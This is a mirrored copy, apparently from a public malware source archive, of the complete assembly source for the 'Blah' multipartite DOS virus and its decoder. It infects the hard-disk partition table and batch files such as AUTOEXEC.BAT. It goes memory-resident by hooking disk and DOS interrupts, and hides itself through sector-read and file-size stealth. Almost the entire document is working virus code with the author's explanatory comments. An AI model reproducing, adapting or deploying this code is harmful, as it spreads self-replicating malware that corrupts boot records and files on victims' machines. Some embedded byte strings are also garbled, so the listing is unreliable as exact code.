mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
682 lines
17 KiB
NASM
682 lines
17 KiB
NASM
|
.model tiny
|
|||
|
.code
|
|||
|
.radix 16
|
|||
|
|
|||
|
org 0
|
|||
|
our_buffer label byte
|
|||
|
|
|||
|
org 80
|
|||
|
line label byte
|
|||
|
|
|||
|
org 100
|
|||
|
|
|||
|
viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
|
|||
|
resK = (end_all - our_buffer + 3ff) / 400
|
|||
|
resP = resK * 40
|
|||
|
sector_length = (heap - blah + 1ff) / 200
|
|||
|
|
|||
|
blah: xor bp,bp
|
|||
|
xor si,si
|
|||
|
|
|||
|
cmp [si],20CDh ; check if there is a PSP
|
|||
|
jz in_com ; to see if we are in COM or
|
|||
|
; boot (don't just check SP
|
|||
|
; since COM might not load in
|
|||
|
; a full segment if memory is
|
|||
|
; sparse)
|
|||
|
inc bp
|
|||
|
|
|||
|
; hey! we're in the boot sector or the partition table
|
|||
|
; assume in partition table for the time being
|
|||
|
push si
|
|||
|
cli
|
|||
|
pop ss
|
|||
|
mov sp,-2 ; doesn't really matter
|
|||
|
sti
|
|||
|
|
|||
|
mov ax,200 + sector_length
|
|||
|
mov es,si
|
|||
|
mov bx,7c00 + 200
|
|||
|
mov cx,2
|
|||
|
mov dx,80
|
|||
|
int 13
|
|||
|
|
|||
|
mov dx,0f800
|
|||
|
|
|||
|
db 0ea
|
|||
|
dw offset install, 7b0
|
|||
|
|
|||
|
in_com: mov dx,0f904
|
|||
|
|
|||
|
mov ah,62 ; get the PSP
|
|||
|
int 21 ; also tells existing copies
|
|||
|
; to disable themselves
|
|||
|
; (for NetWare compatability)
|
|||
|
dec bx ; go to MCB so we can
|
|||
|
mov ds,bx ; twiddle with it
|
|||
|
|
|||
|
sub word ptr [si+3],resP ; reserve two K of memory
|
|||
|
sub word ptr [si+12],resP ; in DOS for the virus
|
|||
|
|
|||
|
install: mov cs:init_flag,dl
|
|||
|
mov byte ptr cs:i13_patch,dh
|
|||
|
|
|||
|
mov ds,si ; reserve two K of memory
|
|||
|
mov dx,word ptr ds:413
|
|||
|
sub dx,resK
|
|||
|
mov word ptr ds:413,dx ; from the BIOS count
|
|||
|
mov cl,6
|
|||
|
shl dx,cl ; K -> paragraph
|
|||
|
|
|||
|
les ax,ds:84
|
|||
|
mov cs:old_i21,ax
|
|||
|
mov cs:old_i21+2,es
|
|||
|
|
|||
|
les ax,ds:4c
|
|||
|
mov cs:old_i13,ax
|
|||
|
mov cs:old_i13+2,es
|
|||
|
|
|||
|
mov es,dx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,offset blah
|
|||
|
mov di,si
|
|||
|
mov cx,(offset end_zopy - blah + 1) / 2
|
|||
|
rep movsw
|
|||
|
|
|||
|
mov es,cx
|
|||
|
|
|||
|
mov es:4c,offset i13
|
|||
|
mov es:4e,dx
|
|||
|
|
|||
|
or bp,bp
|
|||
|
jz exit_com
|
|||
|
|
|||
|
exit_boot: mov ax,201 ; read the original partition
|
|||
|
xor cx,cx ; table to 0:7C00
|
|||
|
mov dx,80 ; since the i13 handler is in
|
|||
|
mov es,cx ; place, we can load from where
|
|||
|
inc cx ; the partition table should
|
|||
|
mov bx,7c00 ; be, instead of where it
|
|||
|
pushf
|
|||
|
push es bx ; actually is
|
|||
|
jmp dword ptr [bp+4bh] ; int 13 / iret
|
|||
|
|
|||
|
exit_com: mov es:84,offset i21
|
|||
|
mov es:86,dx
|
|||
|
|
|||
|
infect_hd: push ax cx dx bx ds es
|
|||
|
|
|||
|
push cs cs
|
|||
|
pop es ds
|
|||
|
|
|||
|
mov ax,201
|
|||
|
mov bx,100 + (sector_length*200)
|
|||
|
mov cx,1
|
|||
|
mov dx,80
|
|||
|
call call_i13 ; get original partition table
|
|||
|
|
|||
|
adj_ofs = (100 + (sector_length*200))
|
|||
|
|
|||
|
cmp word ptr cs:[adj_ofs+decoder-blah],'e@'
|
|||
|
jz already_infected
|
|||
|
|
|||
|
mov al,ds:[adj_ofs+1C0]
|
|||
|
cbw
|
|||
|
or ax,ds:[adj_ofs+1C2]
|
|||
|
jnz enough_room
|
|||
|
cmp byte ptr ds:[adj_ofs+1C1],sector_length+1
|
|||
|
jbe already_infected ; not enough room for virus
|
|||
|
|
|||
|
enough_room: mov ax,301 + sector_length ; write to disk
|
|||
|
mov bx,100 ; cx = 1, dx = 80 already
|
|||
|
call call_i13
|
|||
|
|
|||
|
already_infected:
|
|||
|
pop es ds bx dx cx ax
|
|||
|
ret
|
|||
|
|
|||
|
db 'Blah virus',0
|
|||
|
db '(DA/PS)',0
|
|||
|
|
|||
|
; I indulged myself in writing the decoder; it's rather much larger than it
|
|||
|
; needs to be. This was so I could insert random text strings into the code.
|
|||
|
; The decoder creates a file which, when run, will execute the encoded file.
|
|||
|
; In this case, we are encoding the virus. See the beginning for a complete
|
|||
|
; explanation of how the virus works.
|
|||
|
decoder db '@echo <20>PSBAT!<21><>PS<50>'
|
|||
|
fsize dw -1 * (heap - blah)
|
|||
|
db 'XYZ<59><5A>U<EFBFBD>S<01> 2<><32>H<EFBFBD>ج,AêMt<02><><0B>t<05><><EFBFBD>>',0ba,'.com',0Dh,0A
|
|||
|
db '@echo <20><><EFBFBD>2<EFBFBD>YP<59><50><EFBFBD><F3A4ABB8>2૾PS<50>DB<44><42>DA<44>'
|
|||
|
endline: db '>>',0ba,'.com',0Dh,0A
|
|||
|
; The next line is to ease the coding. This way, the same number of statements
|
|||
|
; pass between the running of the temporary program and the reloading of the
|
|||
|
; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running
|
|||
|
; the temporary file installs the virus into memory. Note the following lines
|
|||
|
; are never seen by the command interpreter if the virus is already resident.
|
|||
|
enddecoder: db '@if %0. == . ',0ba,0Dh,0A
|
|||
|
db '@',0ba,0Dh,0A
|
|||
|
db '@del ',0ba,'.com',0Dh,0A
|
|||
|
; The next line is necessary because autoexec.bat is loaded with %0 == NULL
|
|||
|
; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT,
|
|||
|
; which would be a shame.
|
|||
|
db '@if %0. == . autoexec',0Dh,0A
|
|||
|
db '@%0',0Dh,0A
|
|||
|
endcleanup:
|
|||
|
|
|||
|
chain_i13: push [bp+6]
|
|||
|
call dword ptr cs:old_i13
|
|||
|
pushf
|
|||
|
pop [bp+6]
|
|||
|
ret
|
|||
|
|
|||
|
call_i13: pushf
|
|||
|
call dword ptr cs:old_i13
|
|||
|
ret
|
|||
|
|
|||
|
write: mov ah,40
|
|||
|
calli21: pushf
|
|||
|
call dword ptr cs:old_i21
|
|||
|
ret
|
|||
|
|
|||
|
check_signature:and word ptr es:[di+15],0
|
|||
|
push es di cs cs
|
|||
|
pop ds es
|
|||
|
mov ah,3f
|
|||
|
cwd ; mov dx,offset our_buffer
|
|||
|
mov cx,enddecoder - decoder
|
|||
|
call calli21
|
|||
|
|
|||
|
cld
|
|||
|
mov si,offset decoder
|
|||
|
mov di,dx
|
|||
|
mov cx,enddecoder - decoder
|
|||
|
rep cmpsb
|
|||
|
|
|||
|
pop di es
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
i13: clc ; this is patched to
|
|||
|
jnc i13_patch ; disable the i13 handler
|
|||
|
jmp disabled_i13 ; this is a stupid hiccup
|
|||
|
|
|||
|
i13_patch: clc ; this is patched to once
|
|||
|
jc multipartite_installed ; i21 is installed
|
|||
|
|
|||
|
push ax bx ds es
|
|||
|
|
|||
|
mov ax,0AA55 ; offset 02FE of the virus
|
|||
|
; this is the PT signature
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
mov es,ax
|
|||
|
|
|||
|
lds bx,es:84
|
|||
|
mov ax,ds
|
|||
|
cmp ax,cs:old_i21+2
|
|||
|
jz not_DOS_yet
|
|||
|
or ax,ax ; Gets set to address in zero
|
|||
|
jz not_DOS_yet ; segment temporarily. ignore.
|
|||
|
cmp ax,800
|
|||
|
ja not_DOS_yet
|
|||
|
cmp ax,es:28*4+2 ; make sure int 28 handler
|
|||
|
jnz not_DOS_yet ; the same (OS == DOS?)
|
|||
|
cmp bx,cs:old_i21
|
|||
|
jz not_DOS_yet
|
|||
|
install_i21: push cs
|
|||
|
pop ds
|
|||
|
mov ds:old_i21,bx
|
|||
|
mov ds:old_i21+2,ax
|
|||
|
mov es:84,offset i21
|
|||
|
mov es:86,cs
|
|||
|
inc byte ptr ds:i13_patch
|
|||
|
not_DOS_yet: pop es ds bx ax
|
|||
|
multipartite_installed:
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
|
|||
|
cmp cx,sector_length + 1 ; working on virus area?
|
|||
|
ja jmp_i13
|
|||
|
|
|||
|
cmp dx,80
|
|||
|
jnz jmp_i13
|
|||
|
|
|||
|
cmp ah,2 ; reading partition table?
|
|||
|
jz stealth_i13
|
|||
|
not_read: cmp ah,3 ; write over partition table?
|
|||
|
jnz jmp_i13
|
|||
|
call infect_hd
|
|||
|
|
|||
|
push si cx bx ax
|
|||
|
|
|||
|
mov al,1
|
|||
|
|
|||
|
cmp cl,al ; are we working on partition
|
|||
|
jnz not_write_pt ; table at all?
|
|||
|
|
|||
|
mov cx,sector_length + 1
|
|||
|
call chain_i13
|
|||
|
jc alt_exit_i13
|
|||
|
|
|||
|
not_write_pt: pop ax
|
|||
|
push ax
|
|||
|
|
|||
|
cbw
|
|||
|
sub al,sector_length + 2 ; calculate number of remaining
|
|||
|
add al,cl ; sectors to write
|
|||
|
js alt_exit_i13
|
|||
|
jz alt_exit_i13
|
|||
|
|
|||
|
push cx
|
|||
|
sub cx,sector_length + 2 ; calculate number of sectors
|
|||
|
neg cx ; skipped
|
|||
|
addd: add bh,2 ; and adjust buffer pointer
|
|||
|
loop addd ; accordingly
|
|||
|
pop cx
|
|||
|
|
|||
|
or ah,1 ; ah = 1 so rest_stealth makes
|
|||
|
jmp short rest_stealth ; it a write
|
|||
|
|
|||
|
jmp_i13: pop bp
|
|||
|
disabled_i13: jmp dword ptr cs:old_i13
|
|||
|
|
|||
|
stealth_i13: push si cx bx ax
|
|||
|
call infect_hd
|
|||
|
|
|||
|
mov si,bx
|
|||
|
|
|||
|
mov al,1
|
|||
|
|
|||
|
cmp cl,al
|
|||
|
jnz not_read_pt
|
|||
|
|
|||
|
mov cx,sector_length + 1
|
|||
|
call chain_i13
|
|||
|
jc alt_exit_i13
|
|||
|
|
|||
|
add bh,2 ; adjust buffer ptr
|
|||
|
|
|||
|
not_read_pt: pop ax
|
|||
|
push ax
|
|||
|
push di ax
|
|||
|
mov di,bx
|
|||
|
mov ah,0
|
|||
|
add al,cl
|
|||
|
|
|||
|
cmp al,sector_length + 2
|
|||
|
jb not_reading_more
|
|||
|
mov al,sector_length + 2
|
|||
|
not_reading_more:cmp cl,1
|
|||
|
jnz not_pt
|
|||
|
dec ax
|
|||
|
not_pt: sub al,cl
|
|||
|
jz dont_do_it ; resist temptation!
|
|||
|
|
|||
|
mov cl,8
|
|||
|
shl ax,cl ; zero out sectors
|
|||
|
mov cx,ax
|
|||
|
cbw ; clear ax
|
|||
|
rep stosw
|
|||
|
mov bx,di ; adjust buffer
|
|||
|
|
|||
|
dont_do_it: pop ax di
|
|||
|
mov ah,0
|
|||
|
|
|||
|
mov cl,9
|
|||
|
sub si,bx
|
|||
|
neg si
|
|||
|
shr si,cl
|
|||
|
sub ax,si
|
|||
|
jz alt_exit_i13
|
|||
|
|
|||
|
rest_stealth: sub ax,-200
|
|||
|
mov cx,sector_length + 2
|
|||
|
call chain_i13
|
|||
|
|
|||
|
alt_exit_i13: pop bx
|
|||
|
mov al,bl
|
|||
|
pop bx cx si bp
|
|||
|
iret
|
|||
|
|
|||
|
i24: mov al,3
|
|||
|
iret
|
|||
|
|
|||
|
chain_i21: push [bp+6] ; push flags on stack again
|
|||
|
call dword ptr cs:old_i21
|
|||
|
pushf ; put flags back onto caller's
|
|||
|
pop [bp+6] ; interrupt stack area
|
|||
|
ret
|
|||
|
|
|||
|
infect_bat: mov cx,200 ; conquer the holy batch file!
|
|||
|
move_up: sub bp,cx
|
|||
|
jns $+6
|
|||
|
add cx,bp
|
|||
|
xor bp,bp
|
|||
|
mov es:[di+15],bp ; move file pointer
|
|||
|
|
|||
|
mov ah,3f ; read in portion of the file
|
|||
|
mov dx,offset big_buffer
|
|||
|
call calli21
|
|||
|
|
|||
|
add word ptr es:[di+15],viruslength
|
|||
|
sub word ptr es:[di+15],ax
|
|||
|
call write ; move the data up
|
|||
|
|
|||
|
or bp,bp
|
|||
|
jnz move_up
|
|||
|
|
|||
|
move_up_done: mov word ptr es:[di+15],bp ; go to start of file
|
|||
|
|
|||
|
mov cx,enddecoder - decoder
|
|||
|
mov dx,offset decoder
|
|||
|
call write
|
|||
|
|
|||
|
push es di cs
|
|||
|
pop es
|
|||
|
|
|||
|
mov bp,heap - blah
|
|||
|
mov si,offset blah
|
|||
|
encode_lines: mov di,offset line
|
|||
|
mov cx,20
|
|||
|
encode_line: lodsb
|
|||
|
push ax
|
|||
|
and ax,0F0
|
|||
|
inc ax
|
|||
|
stosb
|
|||
|
pop ax
|
|||
|
and ax,0F
|
|||
|
add al,'A'
|
|||
|
stosb
|
|||
|
dec bp
|
|||
|
jz finished_line
|
|||
|
loop encode_line
|
|||
|
|
|||
|
finished_line: mov cx,6
|
|||
|
mov dx,offset decoder
|
|||
|
call write
|
|||
|
|
|||
|
mov cx,di
|
|||
|
mov dx,offset line
|
|||
|
sub cx,dx
|
|||
|
call write
|
|||
|
|
|||
|
mov cx,enddecoder-endline
|
|||
|
mov dx,offset endline
|
|||
|
call write
|
|||
|
|
|||
|
or bp,bp
|
|||
|
jnz encode_lines
|
|||
|
|
|||
|
pop di es
|
|||
|
|
|||
|
mov cx,endcleanup - enddecoder
|
|||
|
mov dx,offset enddecoder
|
|||
|
call write
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
; check neither extension nor timestamp in case file was renamed or
|
|||
|
; something like that
|
|||
|
|
|||
|
; will hang without this stealth because of the line
|
|||
|
; @%0 that it adds to batch files
|
|||
|
handle_read: push es di si ax cx dx ds bx
|
|||
|
|
|||
|
xor si,si
|
|||
|
|
|||
|
cmp cs:init_flag,0
|
|||
|
jnz dont_alter_read
|
|||
|
|
|||
|
mov ax,1220
|
|||
|
int 2f
|
|||
|
jc dont_alter_read
|
|||
|
|
|||
|
xor bx,bx
|
|||
|
mov bl,es:di
|
|||
|
mov ax,1216
|
|||
|
int 2f ; es:di now -> sft
|
|||
|
jc dont_alter_read
|
|||
|
|
|||
|
pop bx ; restore the file handle
|
|||
|
push bx
|
|||
|
|
|||
|
push es:[di+15] ; save current offset
|
|||
|
|
|||
|
call check_signature
|
|||
|
mov si,viruslength
|
|||
|
pop bx
|
|||
|
jz hide_read
|
|||
|
xor si,si
|
|||
|
hide_read: add bx,si
|
|||
|
mov es:[di+15],bx
|
|||
|
dont_alter_read:pop bx ds dx cx ax
|
|||
|
|
|||
|
call chain_i21
|
|||
|
|
|||
|
sub es:[di+15],si
|
|||
|
|
|||
|
pop si di es
|
|||
|
_iret: pop bp
|
|||
|
iret
|
|||
|
|
|||
|
handle_open: cmp cs:init_flag,0
|
|||
|
jz keep_going
|
|||
|
dec cs:init_flag
|
|||
|
keep_going: call chain_i21
|
|||
|
jc _iret
|
|||
|
push ax cx dx bp si di ds es
|
|||
|
|
|||
|
xchg si,ax ; filehandle to si
|
|||
|
|
|||
|
mov ax,3524
|
|||
|
int 21
|
|||
|
push es bx ; save old int 24 handler
|
|||
|
|
|||
|
xchg bx,si ; filehandle back to bx
|
|||
|
push bx
|
|||
|
mov si,dx ; ds:si->filename
|
|||
|
|
|||
|
push ds
|
|||
|
mov ax,2524 ; set new int 24 handler
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset i24
|
|||
|
call calli21
|
|||
|
pop ds
|
|||
|
|
|||
|
cld
|
|||
|
|
|||
|
find_extension: lodsb ; scan filename for extension
|
|||
|
or al,al ; no extension?
|
|||
|
jz dont_alter_open
|
|||
|
cmp al,'.' ; extension?
|
|||
|
jnz find_extension
|
|||
|
|
|||
|
lodsw ; check if it's .bat
|
|||
|
or ax,2020
|
|||
|
cmp ax,'ab'
|
|||
|
jnz dont_alter_open
|
|||
|
lodsb
|
|||
|
or al,20
|
|||
|
cmp al,'t'
|
|||
|
jnz dont_alter_open
|
|||
|
|
|||
|
mov ax,1220 ; if so, get jft entry
|
|||
|
int 2f
|
|||
|
jc dont_alter_open
|
|||
|
|
|||
|
xor bx,bx
|
|||
|
mov bl,es:di
|
|||
|
mov ax,1216 ; now get SFT
|
|||
|
int 2f
|
|||
|
jc dont_alter_open
|
|||
|
|
|||
|
pop bx ; recover file handle
|
|||
|
push bx
|
|||
|
|
|||
|
mov bp,word ptr es:[di+11] ; save file size
|
|||
|
or bp,bp
|
|||
|
jz dont_alter_open
|
|||
|
|
|||
|
mov byte ptr es:[di+2],2 ; change open mode to r/w
|
|||
|
mov ax,word ptr es:[di+0dh] ; get file time
|
|||
|
and ax,not 1f ; set the seconds field
|
|||
|
or ax,1f
|
|||
|
mov word ptr es:[di+0dh],ax
|
|||
|
|
|||
|
call check_signature
|
|||
|
jz dont_alter1open ; infected already!
|
|||
|
|
|||
|
call infect_bat
|
|||
|
|
|||
|
dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time
|
|||
|
and word ptr es:[di+15],0
|
|||
|
mov byte ptr es:[di+2],0 ; restore file open mode
|
|||
|
dont_alter_open:pop bx dx ds
|
|||
|
mov ax,2524
|
|||
|
call calli21
|
|||
|
pop es ds di si bp dx cx ax bp
|
|||
|
iret
|
|||
|
|
|||
|
findfirstnext: call chain_i21 ; standard file length
|
|||
|
push ax bx si ds es ; hiding
|
|||
|
cmp al,-1
|
|||
|
jz dont_alter_fffn
|
|||
|
|
|||
|
mov ah,2f ; get the DTA to es:bx
|
|||
|
int 21
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
cmp byte ptr [bx],-1
|
|||
|
jnz not_extended
|
|||
|
add bx,7
|
|||
|
; won't hide if extension is changed, but otherwise gives it away by disk
|
|||
|
; accesses
|
|||
|
not_extended: cmp word ptr [bx+9],'AB'
|
|||
|
jnz dont_alter_fffn
|
|||
|
cmp byte ptr [bx+0bh],'T'
|
|||
|
jnz dont_alter_fffn
|
|||
|
cmp word ptr [bx+1dh],viruslength
|
|||
|
jb dont_alter_fffn
|
|||
|
mov al,[bx+17]
|
|||
|
and al,1f
|
|||
|
cmp al,1f
|
|||
|
jnz dont_alter_fffn
|
|||
|
and byte ptr [bx+17],not 1f
|
|||
|
sub word ptr [bx+1dh],viruslength
|
|||
|
dont_alter_fffn:pop es ds si bx ax bp
|
|||
|
iret
|
|||
|
|
|||
|
inst_check: cmp bx,0f904
|
|||
|
jnz jmp_i21
|
|||
|
push si di cx
|
|||
|
mov si,offset blah
|
|||
|
mov di,100
|
|||
|
mov cx,offset i13 - offset blah
|
|||
|
db 2e
|
|||
|
rep cmpsb
|
|||
|
jnz not_inst
|
|||
|
|
|||
|
inc byte ptr cs:i13 ; disable existing copy of
|
|||
|
inc byte ptr cs:i21 ; the virus
|
|||
|
|
|||
|
not_inst: pop si di cx
|
|||
|
jmp short jmp_i21
|
|||
|
i21: clc
|
|||
|
jc disabled_i21
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
cmp ah,11
|
|||
|
jz findfirstnext
|
|||
|
cmp ah,12
|
|||
|
jz findfirstnext
|
|||
|
cmp ah,62
|
|||
|
jz inst_check
|
|||
|
cmp ax,3d00
|
|||
|
jnz not_open
|
|||
|
jmp handle_open
|
|||
|
not_open: cmp ah,3f
|
|||
|
jnz jmp_i21
|
|||
|
jmp handle_read
|
|||
|
|
|||
|
|
|||
|
jmp_i21: pop bp
|
|||
|
disabled_i21: db 0ea ; call original int 21
|
|||
|
heap: ; g
|
|||
|
old_i21 dw ?, ? ; handler
|
|||
|
old_i13 dw ?, ?
|
|||
|
init_flag db ?
|
|||
|
|
|||
|
end_zopy:
|
|||
|
org 100 + ((end_zopy - blah + 1ff) / 200) * 200
|
|||
|
orig_PT db 200 dup (?)
|
|||
|
big_buffer db 200 dup (?)
|
|||
|
end_all:
|
|||
|
|
|||
|
end blah
|
|||
|
|
|||
|
; The complimentary decoder included with every copy of blah
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
.radix 16
|
|||
|
org 100
|
|||
|
|
|||
|
decode: db '<27>PSBAT!<21>' ; translates to some random code
|
|||
|
|
|||
|
mov di,offset buffer
|
|||
|
db 0bdh ; mov bp, datasize
|
|||
|
datasize dw 'Y0'
|
|||
|
|
|||
|
db 'XYZ' ; more text that is also code
|
|||
|
|
|||
|
neg bp
|
|||
|
push bp
|
|||
|
mov si,offset databytes
|
|||
|
keep_going: mov cx,2020
|
|||
|
xor ch,cl
|
|||
|
decode_line: lodsb
|
|||
|
dec ax ; tens digit
|
|||
|
mov bx,ax
|
|||
|
lodsb
|
|||
|
sub al,'A'
|
|||
|
add ax,bx
|
|||
|
stosb
|
|||
|
|
|||
|
dec bp
|
|||
|
jz all_done
|
|||
|
loop decode_line
|
|||
|
all_done: or bp,bp
|
|||
|
jz no_more
|
|||
|
lodsw ; skip CRLF
|
|||
|
jmp keep_going
|
|||
|
|
|||
|
db 0Dh,0A ; split file into two lines
|
|||
|
|
|||
|
no_more: mov ax,0fcfc
|
|||
|
xor ah,al
|
|||
|
pop cx ; how many bytes to move
|
|||
|
push ax
|
|||
|
xchg ax,di
|
|||
|
mov ax,0a4f3
|
|||
|
stosw
|
|||
|
mov ax,0ebebh ; flush prefetch queue
|
|||
|
xor ah,al
|
|||
|
stosw
|
|||
|
|
|||
|
mov si,offset buffer
|
|||
|
mov di,100 + 4144
|
|||
|
sub di,'AD'
|
|||
|
|
|||
|
retn
|
|||
|
|
|||
|
db 0Dh,0Ah ; split the file s'more
|
|||
|
|
|||
|
databytes:
|
|||
|
|
|||
|
org 5350 ; 50/53 == P/S
|
|||
|
buffer:
|
|||
|
|
|||
|
end decode
|